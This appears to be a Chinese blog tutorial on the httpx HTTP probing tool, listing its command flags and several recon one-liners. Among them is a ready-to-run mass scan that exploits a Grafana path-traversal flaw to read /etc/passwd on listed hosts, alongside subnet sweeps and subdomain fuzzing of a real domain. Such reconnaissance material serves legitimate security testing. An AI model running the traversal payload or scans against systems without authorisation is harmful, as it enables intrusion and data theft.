Httpx高级使用

本文介绍了如何利用httpx这款强大的HTTP客户端进行基础探测、实战应用,包括快速获取网站标题、状态码、技术指纹等,并展示了如何配置参数进行深度扫描和定制化输出。适合深入理解HTTP探测和自动化测试的开发者。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

httpx 使用

安装

1.go安装,前提是拥有Go1.17及以上版本

  go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest
  1. Release

Usage

  • httpx -h

基本

  • -l,-list 域名列表
  • -request raw 文件
  • -slient 简洁模式

探测

  • -sc, -status-code 显示 Status Code
  • -td, -tech-detect 显示基于 wappalyzer 的探测网站指纹
  • -cl -content-lenght 显示 Content-Length
  • -server,-web-server 显示 Server 头
  • -ct -conten-type 显示 Content-Type 头
  • -rt, -respond-time 显示服务器响应时间
  • -title 显示网站标题
  • -location 显示重定向 Location 头
  • -method 显示请求方式
  • -websocket 显示服务使用的 websocket
  • -ip 显示主机 IP
  • -cname 显示主机 cname
  • -cnd 显示使用的 CND
  • -probe 显示探测状态

匹配 MATCHERS:

  • -mc, -match-code 匹配 Respone 返回相关的状态码 (-mc 200,302)
  • -ml, -match-length 匹配 Respone 返回相关的正文长度(-ml 100,102)
  • -ms, -match-string 匹配 Respone 返回相关的字符
  • -mr, -match-regex string 正则匹配 Respone
  • -er, -extract-regex string 显示与正则表达式匹配的响应内容

过滤 FILTERS:

  • -fc, -filter-code string 过滤状态码 (-fc 403,401)
  • -fl, -filter-length string 过滤返回长度(-fl 23,33)
  • -fs, -filter-string string 过滤响应字符
  • -fe, -filter-regex string 正则过滤响应字符

速率

  • -t,-threads 线程数,默认 50
  • -rl, -rate-limit 每秒最大请求速,默认 150

输出

  • -o, -output string 保存探测结果
  • -sr, -store-response 保存返回内容
  • -srd, -store-response-dir string Custom directory to store HTTP responses (default “output”)
  • -json 保存至 JSON 格式
  • -irr, -include-response 在 JSON 输出中包含 HTTP 请求/响应(仅限-JSON)
  • -include-chain 在 JSON 输出中重定向 HTTP 链(仅限-JSON)
  • -store-chain 在响应中包含 HTTP 重定向链(仅限-sr)
  • -csv 保存为 CSV

配置

  • -allow string[] 允许的 IP / CIDR 列表
  • -deny string[] 拒绝的 IP / CIDR 列表
  • -random-agent Random User-Agent(default true)
  • -H, -header string[] 自定义请求头
  • -http-proxy, -proxy string HTTP Proxy, eg http://127.0.0.1:8080
  • -unsafe Send raw requests skipping golang normalization
  • -resume Resume scan using resume.cfg
  • -fr, -follow-redirects 跟随重定向
  • -maxr, -max-redirects int 最大重定向的跟随数量(默认 10)
  • -fhr, -follow-host-redirects Follow redirects on the same host
  • -vhost-input Get a list of vhosts as input
  • -x string 请求方式,使用“all” 为探测所有 HTTP 方法
  • -body string Post body
  • -s, -stream Stream mode - start elaborating input targets without sorting
  • -sd, -skip-dedupe Disable dedupe input items (only used with stream mode)
  • -pa, -probe-all-ips Probe all the ips associated with same host

其他

  • -tls-grab Perform TLS(SSL) data grabbing
  • -tls-probe Send HTTP probes on the extracted TLS domains
  • -csp-probe Send HTTP probes on the extracted CSP domains
  • -pipeline HTTP1.1 Pipeline probe
  • -http2 HTTP2 probe
  • -vhost VHOST Probe
  • -p, -ports string[] Port to scan (nmap syntax: eg 1,2-10,11)
  • -path string File or comma separated paths to request
  • -paths string File or comma separated paths to request (deprecated)

实战应用

基本探测

echo "www.baidu.com" | httpx  -title -status-code -tech-detect

指定端口探测

echo "www.baidu.com" | httpx  -title -status-code -tech-detect -p 80,443,8080 -probe

c 段存活探测

echo 127.0.0.0/24 | httpx -silent

Grafana 任意文件读取快速扫描

httpx -l ip.txtt -status-code -path "/public/plugins/prometheus/../../../../../../../../../../../etc/passwd" -mc 200 -mr "root:x"

FUZZ 子域名

wget -q -O - "https://raw.githubusercontent.com/weujieytt/SrcCommon/main/FUZZ/subnames.txt"| sed 's/FUZZ/baidu.com/g' | httpx -sc -title -location -t 100

subfinder 枚举域名并使用 httpx 存活探测


在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值